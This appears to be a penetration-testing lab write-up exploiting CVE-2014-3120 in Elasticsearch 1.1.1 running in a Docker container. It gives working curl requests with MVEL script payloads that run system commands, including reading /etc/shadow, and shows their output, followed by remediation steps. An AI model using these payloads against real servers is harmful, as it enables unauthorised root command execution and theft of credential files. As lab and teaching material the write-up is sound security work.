
Starting with what is running in the environment. We list all active containers:
docker ps

Result: Container p1/lab10:latest is running, exposing 2 ports externally:
| Port mapping | Protocol |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (needs verification) |
0.0.0.0:9300 → 9300/tcp | Unknown |
Initial observation: Ports 9200 and 9300 are commonly known as the default ports for Elasticsearch. However, we cannot conclude based solely on the port numbers - many other services can bind to any port.
⇒ We curl directly to each port to verify which service is actually running.
curl -i http://192.168.3.137:9300/

Response analysis:
curl: (52) Empty reply from serverAssessment: The server accepted the TCP connection (no connection refused), but did not respond using the HTTP protocol. This matches the behavior of the Elasticsearch Transport protocol on port 9300 - a binary protocol used for communication between nodes in a cluster, not HTTP.
⇒ Mindset: Port 9300 uses a binary protocol → cannot be exploited directly via curl/browser. Switch to checking port 9200 - the HTTP REST API port.
curl -i http://192.168.3.137:9200/

Response analysis:
Attack Surface Assessment:

⇒ Mindset: Elasticsearch 1.1.1 enables Dynamic Scripting by default - allowing clients to send scripts (MVEL expressions) in search queries for the server to execute. Without a sandbox or proper validation, an attacker can inject a malicious script to execute system commands. Next step: verify whether Dynamic Scripting is actually active on the target.
Elasticsearch supports a Scripting feature - allowing clients to send scripts (mathematical or logical expressions) within search requests for the server to execute when processing results. In Elasticsearch 1.x, the default engine for this feature is MVEL (MVFLEX Expression Language).
In Elasticsearch versions prior to 1.2, Dynamic Scripting is enabled by default (script.disable_dynamic: false). This means:
script_fields parameter in the _search APIjava.lang.Runtime.getRuntime().exec() to execute system commandsscript_fields WorksWhen a search request with script_fields is sent, Elasticsearch will:
_search APIscript_fields field → find the script to executeIn Java, the most common way to execute a system command is:
Runtime.getRuntime().exec("command");
MVEL, as an expression language with full access to Java classes, allows invoking this directly:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explaining each part:
⇒ Mindset: With Elasticsearch, the RCE output is returned directly in the response — no need to redirect to a file and read it back. This makes the exploit cleaner and faster to verify.
After identifying the target as Elasticsearch 1.1.1, the next step is to verify whether Dynamic Scripting is actually enabled.
CVE-2014-3120 exploits the fact that Elasticsearch allows clients to send scripts within _search requests. If the script is executed by the server, an attacker can replace the harmless expression with a payload that calls the Java Runtime to execute system commands.
First, we create a test document to ensure the query has at least one matching result. If no documents match, script_fields will not be evaluated.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Then refresh the index:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Next, we send a _search request with script_fields containing a harmless MVEL expression:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

We send the script "1+1" and the server returns the result 2. This proves Elasticsearch not only receives the _search request, but executes the dynamic script on the server side.
⇒ Dynamic Scripting is active on the target.
Since the target is Elasticsearch 1.1.1, prior to 1.2, this matches the exploitation requirements of CVE-2014-3120: Elasticsearch before version 1.2 enables Dynamic Scripting by default, allowing a remote attacker to execute MVEL expressions/Java code via a search request.
We have verified that script_fields is executed by Elasticsearch on the server side via the harmless expression "1+1" returning [2].
This proves that the target not only allows standard searches but also allows clients to send an MVEL script for the server to evaluate during _search processing.
With CVE-2014-3120, the critical risk lies in the fact that MVEL in Elasticsearch 1.1.1 can access Java classes. Therefore, instead of sending a mathematical expression like "1+1", an attacker can send a script calling the Java Runtime:
Runtime.getRuntime().exec("command")
This is the standard Java API used to create a new process and execute commands on the operating system.
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response
RCE Payload:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Payload Breakdown:
Result:
The response returns the fields.exploit field containing the output of the id command:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
Analysis:
The payload successfully invoked Runtime.getRuntime().exec("id") via the MVEL script inside script_fields. The fact that the response returns the output of the id command proves that the command was executed on the server side.
The result uid=0(root) gid=0(root) groups=0(root) indicates that the Elasticsearch process inside the container is running with root privileges.
After confirming RCE, the actual privileges must be verified by trying to read sensitive files:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Observed Result:
The response returns the contents of the /etc/shadow file:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
Analysis:
The /etc/shadow file is a sensitive system file in Linux, which is usually only readable by the root user or processes with equivalent privileges. In the previous step, the id command returned:
uid=0(root) gid=0(root) groups=0(root)
This step further confirms that by actual behavior: the RCE payload is able to successfully read /etc/shadow.
⇒ Elasticsearch inside the container is running with root privileges.
⇒ The impact is not limited to typical command execution, but is RCE with root privileges inside the container.
Note: The root privilege here refers to root inside the Docker container. We cannot conclude that the attacker has root privileges on the host without evidence of the container running privileged, mounting the Docker socket, or mounting sensitive volumes from the host.
RCE is confirmed. We proceed to gather system information to evaluate the scope.
After confirming RCE with root privileges, we run the command ls -la / via the MVEL payload to observe the filesystem inside the target:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Result: The response returns the contents of the / directory in the rootfs field.
Analysis:
The fact that the output of ls -la / appears in the JSON response proves that the command was executed on the target via RCE. Files such as docker-entrypoint.sh, the elasticsearch directory, and the docker-java-home symlink indicate that the compromised environment is a container running Elasticsearch.
⇒ The attacker can list the filesystem inside the container with root privileges.
Since the container does not have the /sbin/ifconfig binary, we read /proc/net/route directly. This file does not require external utilities and provides the container's routing table.
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Analysis:
The results show that the container has interface eth0 and resides within the Docker network 172.19.0.0/16. The default gateway is 172.19.0.1.
This proves that the container has internal network connectivity via the Docker bridge. Since the attacker already has RCE with root privileges inside the container, they could theoretically proceed to inspect other hosts/services in the same Docker network if network policies allow.
However, this output only proves network visibility at the routing level, not a successful pivot. Concluding a pivot requires further evidence such as successfully scanning another host, connecting to an internal service, or retrieving resources from another network.
Based on the evidence gathered during the analysis, the target is running Elasticsearch 1.1.1 on port 9200. This version is prior to 1.2, placing it within the affected scope of CVE-2014-3120.
The vulnerability stems from Elasticsearch enabling Dynamic Scripting by default prior to version 1.2, which allows clients to submit MVEL scripts via search requests. In this lab, this feature was confirmed functional using the harmless expression "1+1", which returned the result [2].
Subsequently, the MVEL payload invoked:
Runtime.getRuntime().exec("id")
The response returned:
uid=0(root) gid=0(root) groups=0(root)
This proves that an attacker can execute system commands through Elasticsearch. Furthermore, the payload successfully read /etc/shadow, confirming that the execution privilege is root within the container.
1. Upgrade Elasticsearch to a newer version
Upgrade Elasticsearch to version >= 1.2.0 (minimum) or ideally the currently supported version (8.x). Starting from version 1.2, Dynamic Scripting is disabled by default.
2. Disable Dynamic Scripting immediately (if upgrade is not feasible)
Add the following to elasticsearch.yml:
script.disable_dynamic: true
Restart Elasticsearch after making this change. This completely disables the ability for clients to submit scripts within search requests.
3. Do not expose the Elasticsearch REST API to untrusted networks
Elasticsearch does not have default authentication in version 1.x. If it must be exposed, place it behind a reverse proxy with authentication or bind only to 127.0.0.1.
4. Enable authentication and encryption
Modern Elasticsearch versions (7.x+) support built-in security (authentication, TLS). If upgraded, enable security features:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. Restrict access using a firewall
Allow only trusted IPs to access ports 9200 and 9300. Do not expose them to the internet or the entire internal network.
6. Run Elasticsearch as a low-privileged user
Do not run Elasticsearch under the root user. Create a dedicated elasticsearch user with minimal privileges. This is an official best practice:
| Field | Value | Meaning |
|---|
name | "Rage" | Elasticsearch node name (random Marvel character name - default behavior of older ES versions) |
version.number | "1.1.1" | Extremely old version - released in April 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Built in 2014 |
lucene_version | "4.7" | Lucene 4.7 - old indexing engine |
tagline | "You Know, for Search" | Characteristic signature phrase of Elasticsearch |
| Part | Explanation |
|---|
import java.io.* | Import Java IO classes |
Runtime.getRuntime() | Retrieve the Java Runtime instance |
.exec("id") | Execute the shell command id |
.getInputStream() | Retrieve the output stream of the process |
new Scanner(...).useDelimiter("\\A").next() | Read the entire output as a string |
| Part | Purpose |
|---|
"size": 1 | Limits the result to 1 document |
"query" → "match_all" | Matches all documents (requires at least 1 document to exist in the index) |
"script_fields" → "exploit" | Defines a computed field executing the MVEL script |
"script": "import java.io.*; ..." | MVEL expression that executes the id command and returns the output |
| Criterion | Assessment | Details |
|---|
| CVE | CVE-2014-3120 | Elasticsearch Dynamic Scripting RCE |
| Affected Service | Elasticsearch | REST API exposed on port 9200 |
| Version | 1.1.1 | Prior to 1.2, falls within affected versions |
| Authentication | Not required in the lab | REST API responds directly, no credentials required |
| Exploit Conditions | Dynamic Scripting enabled | Confirmed by script "1+1" returning [2] |
| Privileges Acquired | root in container | id returns uid=0(root) |
| Impact | Very High | RCE, reading sensitive files, listing filesystem, gathering user/network details |
| Scope | Container | No evidence of host compromise yet |
| Pivoting | Potential for further verification | Container has a route via eth0 in the Docker network 172.19.0.0/16 |